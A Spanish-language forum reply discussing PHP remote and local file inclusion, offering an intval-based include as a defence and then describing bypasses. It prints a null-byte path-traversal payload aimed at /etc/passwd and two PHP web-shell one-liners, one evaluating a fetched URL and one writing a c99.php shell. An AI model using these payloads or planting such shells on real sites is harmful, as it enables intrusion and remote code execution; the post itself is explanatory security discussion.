Hola, el documento tiene harta info aunque me hibiera gustado que lo pusieras acá en ves de la descarga ya que sabes que a veces esas de rapidshare caducan etc etc, además todos podríamos leerla directamente.
Pondre un codigo 100% seguro contra rfi (Remote file inclusion):
$url = intval($_GET['url']); //la variable URL solo tendra un valor
entero
$archivo = "./documentos/cont".$url.".php"; //localizacion del archivo
if (file_exists($archivo)) include($archivo); // lo busca y si existe lo muestra
Hay veces en que los carácteres nulos nos juegan en contra y causan un bypass en este tipo de inclusiones, por ejemplo tgest.php?url=/../../../../etc/passwd%00 y el resto del buffer no es considerado dentro del include lanzando el lfi.
if (file_exists($archivo)) include($archivo);
fijate que las urls con ft
p:// son considerados archivos por lo tanto file_exists e include los pasan por alto causando un bypass.
allow_url_fopen en OFF
Puede salvar un RFI pero no un LFI y tampoco una inclusión de shell si es que tienes acceso a una ejecución arbitraria:
<?php eval(file_get_contents($_GET['shell'])); ?>
<?php $x = fopen('c99.php', 'x'); fwrite($x, file_get_contents($_GET['shell'])); fclose($x); ?>De todas formas es buén documento para el que quiera iniciarse en el tema sin mucho conocimiento.
Saludos.